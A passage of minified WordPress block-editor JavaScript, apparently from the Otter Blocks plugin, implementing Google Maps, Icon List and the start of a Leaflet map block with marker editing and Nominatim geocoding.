window.wp.api.models.Settings})),!1===Boolean(window.themeisleGutenberg.mapsAPI)?k||r.current.fetch().then((t=>{e&&(h(t.themeisle_google_map_block_api_key),f(!0),""!==t.themeisle_google_map_block_api_key&&(_(!0),G(t.themeisle_google_map_block_api_key)))})):!k&&e&&(h(window.themeisleGutenberg.mapsAPI),f(!0),_(!0),G(window.themeisleGutenberg.mapsAPI))})(),window.isMapLoaded=window.isMapLoaded||!1,window[`removeMarker_${l.substr(0,8)}`]=U,window.gm_authFailure=function(){_(!1),D(!0)},s.current=document.createElement("script"),s.current.type="text/javascript",s.current.async=!0,s.current.defer=!0,s.current.id="themeisle-google-map-api-loading",()=>{e=!1}}),[]),(0,b.useEffect)((()=>{!1!==v&&void 0!==window.google&&d.current.setOptions({mapTypeControl:!!a||e.mapTypeControl,zoomControl:!!a||e.zoomControl,fullscreenControl:!!a||e.fullscreenControl,streetViewControl:!!a||e.streetViewControl})}),[a]),(0,b.useEffect)((()=>{p.current=[...e.markers]}),[e.markers]);const n=(0,b.useRef)([]),r=(0,b.useRef)(null),s=(0,b.useRef)(null),d=(0,b.useRef)(null),m=(0,b.useRef)(null),p=(0,b.useRef)([...e.markers]),[g,h]=(0,b.useState)(""),[k,f]=(0,b.useState)(!1),[v,_]=(0,b.useState)(!1),[C,w]=(0,b.useState)(!1),[E,x]=(0,b.useState)(!1),[S,T]=(0,b.useState)(!0),[B,M]=(0,b.useState)(!1),[P,z]=(0,b.useState)(!1),[F,R]=(0,b.useState)(!1),[L,O]=(0,b.useState)(!1),[I,H]=(0,b.useState)(!1),[N,A]=(0,b.useState)({}),[V,D]=(0,b.useState)(!1),G=e=>{window.isMapLoaded||(window.isMapLoaded=!0,s.current.onload=()=>{document.getElementById("themeisle-google-map-api-loading").id="themeisle-google-map-api",M(!0)},s.current.src=`https://maps.googleapis.com/maps/api/js?key=${e}&libraries=places&cache=${Math.random()}`,document.head.appendChild(s.current)),document.getElementById("themeisle-google-map-api")&&M(!0)},j=(e,t,a,n)=>{const r=`<div class="wp-block-themeisle-blocks-map-overview"><h6 class="wp-block-themeisle-blocks-map-overview-title">${a}</h6><div class="wp-block-themeisle-blocks-map-overview-content">${n?`<p>${n}</p>`:""}<a class="wp-block-themeisle-blocks-map-overview-delete" onclick="removeMarker_${l.substr(0,8)}( '${t}' )">${(0,o.__)("Delete Marker","otter-blocks")}</a></div></div>`,i=new window.google.maps.InfoWindow({content:r});e.addListener("click",(()=>{m.current=i,i.open(d.current,e)})),window.google.maps.event.addListener(i,"domready",(()=>{z(t)})),window.google.maps.event.addListener(i,"closeclick",(()=>{z(!1)}))},W=e=>{e.forEach((e=>{const{latitude:t}=e,{longitude:l}=e,o=new window.google.maps.LatLng(t,l),a=new window.google.maps.Marker({position:o,map:d.current,title:e.title,draggable:!0,icon:e.icon||"https://maps.google.com/mapfiles/ms/icons/red-dot.png"});window.google.maps.event.addListener(a,"dragend",(t=>{const l=t.latLng.lat(),o=t.latLng.lng();$(e.id,"latitude",l),$(e.id,"longitude",o)})),n.current.push(a),window.google.maps.event.addListener(a,"click",(()=>{m.current&&m.current.close()})),j(a,e.id,e.title,e.description)}))},$=(e,l,o)=>{const a=[...p.current];a.find((t=>t.id===e))[l]=o.toString(),Z(),W(a),t({markers:a})},U=e=>{let l=[...p.current];l=l.filter((t=>t.id!==e)),t({markers:l}),Z(),z(!1),0<l.length&&W(l)},Z=()=>{for(let e=0;e<n.current.length;e++)n.current[e].setMap(null);n.current=[]},q=()=>{!1===Boolean(window.themeisleGutenberg.mapsAPI)&&(x(!0),new window.wp.api.models.Settings({themeisle_google_map_block_api_key:g}).save().then((e=>{let t=!1;""!==e.themeisle_google_map_block_api_key&&(t=!0),x(!1),_(t),""!==e.themeisle_google_map_block_api_key&&(window.isMapLoaded=!1,G(e.themeisle_google_map_block_api_key))})))},Y=e=>{t({style:e}),d.current.setOptions({styles:Al[e]})},K=(0,u.useBlockProps)({className:c()("wp-block-themeisle-blocks-google-map-resizer",{"is-focused":a})});return k&&v?(0,i.createElement)(b.Fragment,null,(0,i.createElement)(Il.d,{label:(0,o.__)("Block Styles","otter-blocks"),value:e.style,options:[{label:(0,o.__)("Standard","otter-blocks"),value:"standard",image:window.themeisleGutenberg.assetsPath+"/icons/map-standard.png"},{label:(0,o.__)("Silver","otter-blocks"),value:"silver",image:window.themeisleGutenberg.assetsPath+"/icons/map-silver.png"},{label:(0,o.__)("Retro","otter-blocks"),value:"retro",image:window.themeisleGutenberg.assetsPath+"/icons/map-retro.png"},{label:(0,o.__)("Dark","otter-blocks"),value:"dark",image:window.themeisleGutenberg.assetsPath+"/icons/map-dark.png"},{label:(0,o.__)("Night","otter-blocks"),value:"night",image:window.themeisleGutenberg.assetsPath+"/icons/map-night.png"},{label:(0,o.__)("Aubergine","otter-blocks"),value:"aubergine",image:window.themeisleGutenberg.assetsPath+"/icons/map-aubergine.png"}],onChange:Y}),(0,i.createElement)(Ol,{attributes:e,setAttributes:t,map:d.current,changeStyle:Y,isPlaceAPIAvailable:S,isMarkerOpen:P,setMarkerOpen:z,removeMarker:U,changeMarkerProp:$,addMarkerManual:()=>{const e=(0,zl.Z)(),t=(0,o.__)("Custom Marker","otter-blocks"),l=d.current.getCenter(),a=l.lat(),n=l.lng();O(!0),H(!0),A({id:e,location:"",title:t,icon:"https://maps.google.com/mapfiles/ms/icons/red-dot.png",description:"",latitude:a,longitude:n})},api:g,isSaving:E,changeAPI:h,saveAPIKey:q}),L&&(0,i.createElement)(Hl,{marker:N,isAdvanced:I,isPlaceAPIAvailable:S,close:()=>O(!1),addMarker:(l,o,a,r,i,s)=>{const c=new window.google.maps.LatLng(i,s),u=(0,zl.Z)(),b=new window.google.maps.Marker({position:c,map:d.current,title:o,draggable:!0,icon:a});window.google.maps.event.addListener(b,"dragend",(e=>{const t=e.latLng.lat(),l=e.latLng.lng();$(u,"latitude",t),$(u,"longitude",l)})),n.current.push(b);const p=[...e.markers],g={id:u,location:l,title:o,icon:a,description:r,latitude:i,longitude:s};p.push(g),t({markers:p}),window.google.maps.event.addListener(b,"click",(()=>{m.current&&m.current.close()})),j(b,g.id,o,r),O(!1),R(!1)}}),(0,i.createElement)("div",{...K},(0,i.createElement)(Nl,{attributes:e,initMap:()=>{var l;const o=null!==(l=(0,y.getEditorIframe)()?.contentWindow?.document)&&void 0!==l?l:document;if(d.current=new window.google.maps.Map(o.getElementById(e.id),{center:{lat:Number(e.latitude)||41.4036299,lng:Number(e.longitude)||2.1743558000000576},gestureHandling:"cooperative",zoom:e.zoom,mapTypeId:e.type,styles:Al[e.style]}),e.location&&void 0===e.latitude&&void 0===e.longitude){const t={query:e.location,fields:["name","geometry"]};new window.google.maps.places.PlacesService(d.current).findPlaceFromQuery(t,((e,t)=>{t===window.google.maps.places.PlacesServiceStatus.OK&&0<e.length&&d.current.setCenter(e[0].geometry.location)}))}window.google.maps.event.addListenerOnce(d.current,"idle",(()=>{w(!0)})),d.current.addListener("zoom_changed",(()=>{const e=d.current.getZoom();t({zoom:e})})),d.current.addListener("maptypeid_changed",(()=>{const e=d.current.getMapTypeId();t({type:e})})),d.current.addListener("bounds_changed",(()=>{const e=d.current.getCenter(),l=e.lat(),o=e.lng();t({latitude:l.toString(),longitude:o.toString()})})),0<e.markers.length&&W(e.markers);const a={query:e.location,fields:["name","geometry"]};new window.google.maps.places.PlacesService(d.current).findPlaceFromQuery(a,((e,t)=>{"REQUEST_DENIED"===t&&T(!1)}))},displayMap:B,isMapLoaded:C,selectMarker:()=>{R(!F),F?window.google.maps.event.clearListeners(d.current,"click"):d.current.addListener("click",(e=>{window.google.maps.event.clearListeners(d.current,"click");const t=(0,zl.Z)(),l=(0,o.__)("Custom Marker","otter-blocks"),a=e.latLng.lat(),n=e.latLng.lng();O(!0),H(!1),A({id:t,location:"",title:l,icon:"https://maps.google.com/mapfiles/ms/icons/red-dot.png",description:"",latitude:a,longitude:n})}))},isSelectingMarker:F}))):(0,i.createElement)("div",{...K},(0,i.createElement)(Fl,{api:g,error:V,isAPILoaded:k,isAPISaved:v,isSaving:E,changeAPI:e=>{h(e),D(!1)},saveAPIKey:q}))},save:()=>null});var Wl=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/icon-list","title":"Icon List","category":"themeisle-blocks","description":"Display an icon list in a beautiful layout. Powered by Otter.","keywords":["icon","list","items"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"defaultLibrary":{"type":"string","default":"fontawesome"},"defaultPrefix":{"type":"string","default":"fas"},"defaultIcon":{"type":"string","default":"check"},"defaultContentColor":{"type":"string"},"defaultIconColor":{"type":"string"},"defaultSize":{"type":["number","string"]},"defaultIconSize":{"type":"string"},"gap":{"type":["number","string"]},"gapIconLabel":{"type":["string"]},"horizontalAlign":{"type":"string"},"alignmentTablet":{"type":"string"},"alignmentMobile":{"type":"string"},"hideLabels":{"type":"boolean"},"hasDivider":{"type":"boolean"},"dividerWidth":{"type":"string"},"dividerColor":{"type":"string"},"dividerLength":{"type":"string"}},"editorStyle":"otter-icon-list-editor","style":"otter-icon-list-style"}'),$l=({attributes:e,setAttributes:t})=>(0,i.createElement)(u.BlockControls,null,(0,i.createElement)(u.AlignmentToolbar,{value:{"flex-start":"left",center:"center","flex-end":"right"}[e.horizontalAlign],onChange:e=>{switch(e){case"left":t({horizontalAlign:"flex-start"});break;case"center":t({horizontalAlign:"center"});break;case"right":t({horizontalAlign:"flex-end"});break;default:t({horizontalAlign:void 0})}}})),Ul=({attributes:e,setAttributes:t})=>{var l,a,n,r,s,c,d;const[m,f]=(0,y.useTabSwitch)(e.id,"settings"),{responsiveSetAttributes:v,responsiveGetAttributes:_}=(0,k.Y)(t);return(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)("div",null,(0,i.createElement)(g.Hn,{value:m,options:[{label:(0,o.__)("Settings","otter-blocks"),value:"settings"},{label:(0,o.__)("Style","otter-blocks"),value:"style"}],onChange:f}),"settings"===m&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Layout","otter-blocks")},(0,i.createElement)(g.Lp,{label:(0,o.__)("List Orientation","otter-blocks"),options:[{label:(0,o.__)("Vertical","otter-blocks"),value:"default"},{label:(0,o.__)("Horizontal","otter-blocks"),value:"is-style-horizontal"}],value:e?.className?.includes("is-style-horizontal")?"is-style-horizontal":"default",onChange:l=>{const o=e?.className?.split(" ")||[];"default"===l&&o.includes("is-style-horizontal")?o.splice(o.indexOf("is-style-horizontal"),1):"is-style-horizontal"!==l||o.includes("is-style-horizontal")||o.push("is-style-horizontal"),t({className:o.join(" ")})}}),(0,i.createElement)(g.n9,{label:(0,o.__)("Alignment","otter-blocks")},(0,i.createElement)(g.Ik,{value:null!==(l=_([e.horizontalAlign,e.alignmentTablet,e.alignmentMobile]))&&void 0!==l?l:"flex-start",onChange:e=>{v(e,["horizontalAlign","alignmentTablet","alignmentMobile"])},options:[{icon:D.Z,label:(0,o.__)("Left","otter-blocks"),value:"flex-start"},{icon:G.Z,label:(0,o.__)("Center","otter-blocks"),value:"center"},{icon:j.Z,label:(0,o.__)("Right","otter-blocks"),value:"flex-end"}],hasIcon:!0})),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Hide Labels","otter-blocks"),checked:Boolean(e.hideLabels),onChange:()=>t({hideLabels:!e.hideLabels})})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Icons","otter-blocks")},(0,i.createElement)(b.Suspense,{fallback:(0,i.createElement)(p.Placeholder,null,(0,i.createElement)(p.Spinner,null))},(0,i.createElement)(g.m3,{label:(0,o.__)("Icon Picker","otter-blocks"),library:e.defaultLibrary,prefix:e.defaultPrefix,icon:e.defaultIcon,changeLibrary:e=>{t({defaultLibrary:e,defaultIcon:void 0,defaultPrefix:"fas"})},onChange:l=>{if("image"===e.defaultLibrary&&l?.url)return t({defaultIcon:l.url});t("object"==typeof l?{defaultIcon:l.name,defaultPrefix:l.prefix}:{defaultIcon:l})},allowImage:!0}))),(0,i.createElement)(g.p,null)),"style"===m&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(u.PanelColorSettings,{title:(0,o.__)("Color","otter-blocks"),initialOpen:!1,colorSettings:[{value:e.defaultIconColor,onChange:e=>t({defaultIconColor:e}),label:(0,o.__)("Icon","otter-blocks"),isShownByDefault:!0},{value:e.defaultContentColor,onChange:e=>t({defaultContentColor:e}),label:(0,o.__)("Text","otter-blocks"),isShownByDefault:!0},...e.hasDivider?[{value:e.dividerColor,onChange:e=>t({dividerColor:e}),label:(0,o.__)("Divider","otter-blocks"),isShownByDefault:!0}]:[]]}),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Size","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.BaseControl,{label:(0,o.__)("Font","otter-blocks"),__nextHasNoMarginBottom:!0},(0,i.createElement)(p.FontSizePicker,{value:null!==(a=(0,h.Yj)(e.defaultSize))&&void 0!==a?a:"",onChange:e=>t({defaultSize:e}),fontSizes:[{name:"Small",size:"12px",slug:"small"},{name:"Normal",size:"16px",slug:"Normal"},{name:"Medium",size:"20px",slug:"medium"},{name:"Large",size:"36px",slug:"large"}],withReset:!0})),(0,i.createElement)(p.BaseControl,{label:(0,o.__)("Icon","otter-blocks"),__nextHasNoMarginBottom:!0},(0,i.createElement)(p.FontSizePicker,{value:null!==(n=e.defaultIconSize)&&void 0!==n?n:"",onChange:e=>t({defaultIconSize:e}),fontSizes:[{name:"Small",size:"12px",slug:"small"},{name:"Normal",size:"16px",slug:"Normal"},{name:"Medium",size:"20px",slug:"medium"},{name:"Large",size:"36px",slug:"large"}],withReset:!0}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Dimensions","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.__experimentalUnitControl,{label:(0,o.__)("Space between List items","otter-blocks"),value:null!==(r=e.gap)&&void 0!==r?r:"5px",onChange:e=>t({gap:e}),units:[{a11yLabel:"Pixels (px)",label:"px",step:1,value:"px"}]}),(0,i.createElement)("br",null),(0,i.createElement)(p.__experimentalUnitControl,{label:(0,o.__)("Space between Icon and Label","otter-blocks"),value:null!==(s=e.gapIconLabel)&&void 0!==s?s:"16px",onChange:e=>t({gapIconLabel:e}),units:[{a11yLabel:"Pixels (px)",label:"px",step:1,value:"px"}]})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Divider","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Enable Divider","otter-blocks"),checked:Boolean(e.hasDivider),onChange:()=>t({hasDivider:!e.hasDivider})}),e.hasDivider&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.__experimentalUnitControl,{label:(0,o.__)("Width","otter-blocks"),value:null!==(c=e.dividerWidth)&&void 0!==c?c:"2px",onChange:e=>t({dividerWidth:e}),units:[{a11yLabel:"Pixels (px)",label:"px",step:1,value:"px"}],max:5}),(0,i.createElement)("br",null),(0,i.createElement)(p.__experimentalUnitControl,{label:(0,o.__)("Length","otter-blocks"),value:null!==(d=e.dividerLength)&&void 0!==d?d:"100%",onChange:e=>t({dividerLength:e}),isResetValueOnUnitChange:!0}))))))};const{attributes:Zl}=Wl;var ql=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/icon-list-item","title":"Icon List Item","category":"themeisle-blocks","description":"Display an item for the icon list. Powered by Otter.","keywords":["icon","list","items"],"parent":["themeisle-blocks/icon-list"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"content":{"type":"string"},"contentColor":{"type":"string"},"iconColor":{"type":"string"},"library":{"type":"string"},"iconPrefix":{"type":"string"},"icon":{"type":"string"}}}'),Yl=({attributes:e,setAttributes:t})=>(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Settings","otter-blocks")},(0,i.createElement)(g.m3,{label:(0,o.__)("Icon Picker","otter-blocks"),library:e.library,prefix:e.iconPrefix,icon:e.icon,changeLibrary:e=>{t({library:e,icon:void 0,iconPrefix:"fab"})},onChange:l=>{if("image"===e.library&&l?.url)return t({icon:l.url});t("object"==typeof l?{icon:l.name,iconPrefix:l.prefix}:{icon:l})},allowImage:!0})),(0,i.createElement)(u.PanelColorSettings,{title:(0,o.__)("Color","otter-blocks"),initialOpen:!0,colorSettings:[{value:e.contentColor,onChange:e=>t({contentColor:e}),label:(0,o.__)("Content","otter-blocks"),isShownByDefault:!0},..."image"!==e.library?[{value:e.iconColor,onChange:e=>t({iconColor:e}),label:(0,o.__)("Icon","otter-blocks"),isShownByDefault:!0}]:[]]}));const{attributes:Kl}=ql;const{name:Jl}=ql;(0,a.registerBlockType)(Jl,{...ql,title:(0,o.__)("Icon List Item","otter-blocks"),description:(0,o.__)("Display an item for the icon list. Powered by Otter.","otter-blocks"),icon:r.iconListItemIcon,keywords:["item","icon","list"],merge(e,t){return{content:(e.content||"")+(t.content||"")}},edit:({attributes:e,setAttributes:t,name:l,clientId:n,onReplace:r,onRemove:s,mergeBlocks:d})=>{var p,g;const[h,k]=(0,b.useState)(!1),{hasParent:f,parentAttributes:v}=(0,m.useSelect)((e=>{const{getBlock:t,getBlockRootClientId:l}=e("core/block-editor"),o=t(l(n));return{hasParent:!!o,parentAttributes:o?o.attributes:{}}}),[]);(0,b.useEffect)((()=>{const t=(0,y.blockInit)(n,Kl);return()=>t(e.id)}),[e.id]),(0,b.useEffect)((()=>{t({library:e.library||v.defaultLibrary,icon:e.icon||v.defaultIcon,iconPrefix:e.iconPrefix||v.defaultPrefix})}),[f,v,e]),(0,b.useEffect)((()=>{if("image"===e.library)try{const t=new URL(e.icon);"http:"!==t?.protocol&&"https:"!==t?.protocol||k(!0)}catch(e){k(!1)}}),[e.library,e.icon]),(0,b.useEffect)((()=>{if(void 0===e.content){const e=(0,m.select)("core/block-editor").getBlockParents(n).at(-1),l=(0,m.select)("core/block-editor").getBlock(e);t({content:(0,o.__)("List item ","otter-blocks")+l.innerBlocks.length})}}),[]);const _=he.ZP.icons[e.icon],C=`${e.iconPrefix||v.defaultPrefix} fa-${e.icon||v.defaultIcon}`,w={"--content-color":null!==(p=e.contentColor)&&void 0!==p?p:v.defaultContentColor,"--icon-color":null!==(g=e.iconColor)&&void 0!==g?g:v.defaultIconColor},E=(0,u.useBlockProps)({style:w});return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(Yl,{attributes:e,setAttributes:t}),(0,i.createElement)("div",{...E},"image"===e.library&&h?(0,i.createElement)("img",{src:e.icon}):"themeisle-icons"===e.library&&e.icon&&void 0!==_?(0,i.createElement)(_,{className:c()({"wp-block-themeisle-blocks-icon-list-item-icon":!e.iconColor},{"wp-block-themeisle-blocks-icon-list-item-icon-custom":e.iconColor})}):(0,i.createElement)("i",{className:c()(C,{"wp-block-themeisle-blocks-icon-list-item-icon":!e.iconColor},{"wp-block-themeisle-blocks-icon-list-item-icon-custom":e.iconColor})}),(0,i.createElement)(u.RichText,{identifier:"content",tagName:"p",className:c()({"wp-block-themeisle-blocks-icon-list-item-content":!e.contentColor},{"wp-block-themeisle-blocks-icon-list-item-content-custom":e.contentColor}),value:e.content,onChange:e=>t({content:e}),onSplit:t=>t?(0,a.createBlock)(l,{...e,content:t}):(0,a.createBlock)(l),onMerge:d,onReplace:r,onRemove:s})))},save:({attributes:e})=>{const t=`${e.iconPrefix} fa-${e.icon}`,l=he.ZP.icons[e.icon],o=u.useBlockProps.save({id:e.id});return(0,i.createElement)("div",{...o},"image"===e.library&&e.icon?(0,i.createElement)("img",{src:e.icon}):"themeisle-icons"===e.library&&e.icon?(0,i.createElement)(l,{className:c()({"wp-block-themeisle-blocks-icon-list-item-icon":!e.iconColor},{"wp-block-themeisle-blocks-icon-list-item-icon-custom":e.iconColor})}):(0,i.createElement)("i",{className:c()(t,{"wp-block-themeisle-blocks-icon-list-item-icon":!e.iconColor},{"wp-block-themeisle-blocks-icon-list-item-icon-custom":e.iconColor})}),(0,i.createElement)(u.RichText.Content,{tagName:"p",className:c()({"wp-block-themeisle-blocks-icon-list-item-content":!e.contentColor},{"wp-block-themeisle-blocks-icon-list-item-content-custom":e.contentColor}),value:e.content}))}});const{name:Xl}=Wl;(0,a.registerBlockType)(Xl,{...Wl,title:(0,o.__)("Icon List","otter-blocks"),description:(0,o.__)("Display an icon list in a beautiful layout. Powered by Otter.","otter-blocks"),icon:r.iconListIcon,keywords:["icon","list","items"],edit:({attributes:e,setAttributes:t,clientId:l,className:a})=>{(0,b.useEffect)((()=>{const t=(0,y.blockInit)(l,Zl);return()=>t(e.id)}),[e.id]);const{responsiveGetAttributes:n}=(0,k.Y)(t),r={"--icon-align":n([e.horizontalAlign,e.alignmentTablet,e.alignmentMobile]),"--icon-align-tablet":e.alignmentTablet,"--icon-align-mobile":e.alignmentMobile,"--gap":(0,h.Yj)(e.gap),"--gap-icon-label":e.gapIconLabel,"--font-size":(0,h.Yj)(e.defaultSize),"--icon-size":e.defaultIconSize,"--label-visibility":e.hideLabels?"none":void 0,"--divider-color":e.dividerColor,"--divider-width":e.dividerWidth,"--divider-length":e.dividerLength,"--divider-margin-left":e.horizontalAlign?"auto":void 0,"--divider-margin-right":"flex-end"===e.horizontalAlign?"0":void 0,"--divider-margin-left-tablet":e.alignmentTablet?"auto":void 0,"--divider-margin-right-tablet":"flex-end"===e.alignmentTablet?"0":void 0,"--divider-margin-left-mobile":e.alignmentMobile?"auto":void 0,"--divider-margin-right-mobile":"flex-end"===e.alignmentMobile?"0":void 0},s=(0,u.useBlockProps)({id:e.id,style:r,className:c()(a,{"has-divider":Boolean(e.hasDivider)})});return(0,i.createElement)(b.Fragment,null,(0,i.createElement)($l,{attributes:e,setAttributes:t}),(0,i.createElement)(Ul,{attributes:e,setAttributes:t}),(0,i.createElement)("div",{...s},(0,i.createElement)(u.InnerBlocks,{allowedBlocks:["themeisle-blocks/icon-list-item"],__experimentalMoverDirection:"vertical",orientation:"vertical",template:[["themeisle-blocks/icon-list-item",{content:(0,o.__)("List item 1","otter-blocks")}],["themeisle-blocks/icon-list-item",{content:(0,o.__)("List item 2","otter-blocks")}],["themeisle-blocks/icon-list-item",{content:(0,o.__)("List item 3","otter-blocks")}]],renderAppender:u.InnerBlocks.DefaultAppender})))},save:({attributes:e,className:t})=>{const l=u.useBlockProps.save({id:e.id,className:c()(t,{"has-divider":Boolean(e.hasDivider)})});return(0,i.createElement)("div",{...l},(0,i.createElement)(u.InnerBlocks.Content,null))},example:{innerBlocks:[{name:"themeisle-blocks/icon-list-item",attributes:{content:(0,o.__)("List Item 1","otter-blocks")}},{name:"themeisle-blocks/icon-list-item",attributes:{content:(0,o.__)("List Item 2","otter-blocks")}},{name:"themeisle-blocks/icon-list-item",attributes:{content:(0,o.__)("List Item 3","otter-blocks")}}]}});var Ql=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/leaflet-map","title":"Maps","category":"themeisle-blocks","description":"Display Open Street Maps on your website with Maps block. Powered by Otter.","keywords":["map","opeenstreetmap","location"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"location":{"type":"string","default":"La Sagrada Familia, Barcelona, Spain"},"latitude":{"type":"string","default":"41.4034789"},"longitude":{"type":"string","default":"2.174410333009705"},"bbox":{"type":"string","default":"2.1207046508789067%2C41.34807736149302%2C2.2288513183593754%2C41.45816618938139"},"zoom":{"type":"number"},"height":{"type":["number","string"],"default":"400px"},"heightTablet":{"type":"string"},"heightMobile":{"type":"string"},"markers":{"type":"array","default":[]},"zoomControl":{"type":"boolean","default":true},"draggable":{"type":"boolean","default":true}},"supports":{"align":["wide","full"],"html":false},"editorStyle":"otter-leaflet-map-editor","style":"otter-leaflet-map-style","editorScript":"leaflet-gesture-handling","script":"otter-leaflet"}');async function eo(e){const t=await async function(e){if("string"!=typeof e)throw(0,o.__)("Location must be a string","otter-blocks");const t="https://nominatim.openstreetmap.org/search?q="+e.split(" ").map((e=>encodeURIComponent(e))).join("+")+"&format=geojson",l=await fetch(t);return l.ok&&200===l.status?l.json():console.warn((0,o.__)("An error has occured: ","otter-blocks")+l.status)}(e);if(t?.features.length){const e=t.features[0];if(e?.geometry?.coordinates.length)return{longitude:e.geometry.coordinates[0],latitude:e.geometry.coordinates[1]}}return null}var to=({marker:e,isOpen:t,openMarker:l,dispatch:a})=>{const[n,r]=(0,b.useState)(e.location),[s,d]=(0,b.useState)(e.longitude),[u,m]=(0,b.useState)(e.latitude),[h,k]=(0,b.useState)(e.title),[y,f]=(0,b.useState)(e.description),[v,_]=(0,b.useState)({target:"",reason:""});return(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-leaflet-map-marker"},(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-leaflet-map-marker-title-area"},(0,i.createElement)(p.Button,{className:"wp-block-themeisle-blocks-leaflet-map-marker-title",onClick:()=>l()},e.title||(0,o.__)("Custom Marker","otter-blocks")),(0,i.createElement)(p.Button,{icon:"no-alt",label:(0,o.__)("Remove Marker","otter-blocks"),showTooltip:!0,className:"wp-block-themeisle-blocks-leaflet-map-marker-remove",onClick:()=>a({type:no.REMOVE,ids:[e.id]})})),t&&(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-leaflet-map-marker-control-area"},(0,i.createElement)(p.TextControl,{label:(0,o.__)("Location","otter-blocks"),type:"text",className:c()({"wp-block-themeisle-blocks-leaflet-map-input-error":"LOCATION"===v.target}),value:n,onChange:e=>{r(e)},help:(0,o.__)("Press Enter to search the location","otter-blocks"),onKeyDown:t=>((t,l)=>{t.key===l&&(async()=>{const t=await eo(n);t?(a({type:no.UPDATE,ids:[e.id],updatedProps:{location:n,latitude:t.latitude,longitude:t.longitude}}),m(t.latitude),d(t.longitude),"LOCATION"===v.target&&_({})):_({target:"LOCATION",reason:(0,o.__)("Location couldn't been found!","otter-blocks")})})()})(t,"Enter")}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Latitude","otter-blocks"),type:"text",value:u,onChange:t=>{m(t),a({type:no.UPDATE,ids:[e.id],updatedProps:{latitude:t}})}}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Longitude","otter-blocks"),type:"text",value:s,onChange:t=>{d(t),a({type:no.UPDATE,ids:[e.id],updatedProps:{longitude:t}})}}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Title","otter-blocks"),type:"text",value:h,onChange:t=>{k(t),a({type:no.UPDATE,ids:[e.id],updatedProps:{title:t}})}}),(0,i.createElement)(g.LD,{label:(0,o.__)("Description","otter-blocks"),type:"text",value:e.description,onChange:t=>{f(y),a({type:no.UPDATE,ids:[e.id],updatedProps:{description:t}})}})))},lo=({markers:e,dispatch:t,markersInteraction:l})=>{const{openMarker:a,setOpenMarker:n}=l;return(0,i.createElement)(b.Fragment,null,(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-leaflet-map-marker-group"},e.map((e=>(0,i.createElement)(to,{key:e.id,marker:e,isOpen:a===e.id,openMarker:()=>n(l.openMarker!==e.id?e.id:null),dispatch:t})))),(0,i.createElement)(p.Button,{isSecondary:!0,className:"wp-block-themeisle-blocks-leaflet-map-marker-add",onClick:()=>{t({type:no.ADD,marker:{id:(0,zl.Z)()},dispatch:t})}},(0,o.__)("Add Marker","otter-blocks")))},oo=({attributes:e,setAttributes:t,dispatch:l,markersInteraction:a})=>{const[n,r]=(0,b.useState)(e.location),[s,d]=(0,b.useState)({target:"",reason:""}),{responsiveSetAttributes:m,responsiveGetAttributes:y}=(0,k.Y)(t);return(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Location","otter-blocks")},(0,i.createElement)(p.TextControl,{label:(0,o.__)("Location","otter-blocks"),type:"text",className:c()({"wp-block-themeisle-blocks-leaflet-map-input-error":"LOCATION"===s.target}),placeholder:(0,o.__)("Enter location. E.g: La Sagrada Familia, Barcelona, Spain","otter-blocks"),help:(0,o.__)("Press Enter to search the location","otter-blocks"),value:n,onChange:r,onKeyDown:e=>((e,l)=>{e.key===l&&(async()=>{t({location:n});const e=await eo(n);e?(t({latitude:e.latitude.toString(),longitude:e.longitude.toString()}),"LOCATION"===s.target&&d({})):d({target:"LOCATION",reason:(0,o.__)("Location couldn't been found!","otter-blocks")})})()})(e,"Enter")}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Latitude","otter-blocks"),type:"text",placeholder:(0,o.__)("Enter latitude…","otter-blocks"),value:e.latitude,onChange:e=>t({latitude:e.toString()})}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Longitude","otter-blocks"),type:"text",placeholder:(0,o.__)("Enter longitude","otter-blocks"),value:e.longitude,onChange:e=>t({longitude:e.toString()})})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Positioning & Zooming","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Map Zoom Level","otter-blocks"),value:e.zoom,onChange:e=>t({zoom:e}),min:0,max:20}),(0,i.createElement)(g.n9,{label:(0,o.__)("Height","otter-blocks")},(0,i.createElement)(p.__experimentalUnitControl,{value:y([(0,h.Yj)(e.height),e.heightTablet,e.heightMobile]),onChange:e=>m(e,["height","heightTablet","heightMobile"])}),(0,i.createElement)(g.Cd,{values:["height","heightTablet","heightMobile"],setAttributes:t}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Controls","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.BaseControl,null,(0,o.__)("The following changes will not affect block preview during the editing process. You can click outside the block to see the changes take effect.","otter-blocks")),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Draggable 